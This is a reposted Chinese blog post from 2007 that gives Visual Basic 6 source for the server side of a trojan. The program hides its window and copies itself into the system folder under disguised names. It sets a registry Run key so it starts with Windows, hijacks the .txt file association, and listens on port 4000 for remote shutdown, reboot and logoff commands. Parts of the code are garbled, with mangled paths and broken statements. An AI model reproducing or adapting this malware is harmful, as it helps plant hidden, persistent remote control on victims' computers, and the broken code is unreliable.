我的小木馬---server端---第一次編譯 (轉)

amyz發表於2007-10-17
我的小木馬---server端---第一次編譯 (轉)[@more@]

'主窗體:Frm_Winsock
'Winsock:G_Server

Private Sub Form_Load()
  '隱藏程式
  '
  '讀取主機IP
  Host= G_Server.LocalIP
  '讀取主機名
  HostName = G_Server.LocalHostName
  With Me
  '設定本地預設埠
  .G_Server.LocalPort = 4000
  '
  .G_Server.Listen
  '隱藏窗體
  .H
  End With

 
  '獲取所在目錄
  Dim sCurrentPath As String
  sCurrentPath = App.Path & "" & App.EXEName & ".exe"
  De.Print sCurrentPath
 
  Dim sSystemDir As String
  sSystemDir = "C:winntsystem32"
  On Error Resume Next
 
  '複製成目錄下的Systrsy.exe
  FileCopy sCurrentPath, sSystemDir & "Systrsy.exe"
  On Error Resume Next
 
  '複製檔案成系統目錄下的txtView.exe
  FileCopy sCurrentPath, sSystemDir & "txtView.exe"

  '
  Call StartupGroup
  Call WriteToTxt

  '判斷是否下在執行
  If App.PrevInstance Then
  '如果已經執行就退出。
  End
  End If
End Sub

Private Sub G_Server_ConnectionRequest(ByVal requestID As Long)
  With Me
  If .G_Server.State <> sckClosed Then G_Server.Close
  .G_Server.Accept requestID
  End With
End Sub

Private Sub G_Server_DataArrival(ByVal bytesTotal As Long)
  Dim strData As String
  With Me
  ' 接收客戶請求的資訊
  .G_Server.GetData strData
  Case strData
  Case "Exit"
  '關機
  Call ExitEx(EWX_SHUTDOWN, 0)
  Case "Reboot"
  '重啟
  Call ExitWindowsEx(EWX_REBOOT, 0)
  Case "Logoff"
  '登出
  Call ExitWindowsEx(EWX_LOGOFF, 0)
  End Select
  End With
End Sub

'mod模組

'宣告全域性變數
Public HostIP As Variant
Public HostName As Variant
'宣告API
Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, _
  ByVal dwReserved As Long) _
  As Long
Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Declare Function ClipCursor Lib "user32" (lpRect As Any) As Long
Public Type RECT
  Left As Long
  Top As Long
  Right As Long
  Bottom As Long
End Type
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, _
  ByVal lpSubKey As String, _
  phkResult As Long) _
  As Long
Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, _
  ByVal lpvalueName As String, _
  ByVal Reserved As Long, _
  ByVal dwType As Long, _
  lpData As Any, _
  ByVal cbData As Long) _
  As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, _
  ByVal lpSubKey As String, _
  phkResult As Long) _
  As Long
Public Const REG_BINARY = 3
Public Const REG_SZ = 1
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_CLASSES_ = &H80000000

Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, _
  ByVal bScan As Byte, _
  ByVal dwFlags As Long, _
  ByVal dwExtraInfo As Long)

'寫到登錄檔啟動組中的過程
Public Sub StartupGroup()
  Dim skey As String
  Dim result As Long
  Dim hKeyID As Long
  Dim skeyVal As String
  '啟動組中的鍵,找一個與系統檔案相近的。
  skey = "Systrsy"
  '木馬檔案的路徑,可以用GetSystemDirectory來取得系統路徑。
  skeyVal = "C:winntsystem32systrsy.exe"
  result = RegOpenKey(HKEY_LOCAL_MACHINE, "SoftwareWindowsCurrentVersionRun", hKeyID)
  If result = 0 Then
  Debug.Print hKeyID & "/n"
  result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, skeyVal, Len(skey) + 1)
  Debug.Print result & "/n"
  End If
End Sub

'與txt檔案進行關聯
Public Sub WriteToTxt()
  Dim result As Long
  Dim hKeyID As Long
  Dim skey As String
  Dim skeyVal As String
  skey = "txtfileopencommand"
  skeyVal = "C:windowssystemtxtView.exe"
  result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)
  If result = 0 Then
  Debug.Print hKeyID & "/n"
  result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, skeyVal, Len(skeyVal) + 1)
  Debug.Print result
  End If

End Sub

 


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10752019/viewspace-977292/,如需轉載,請註明出處,否則將追究法律責任。

相關文章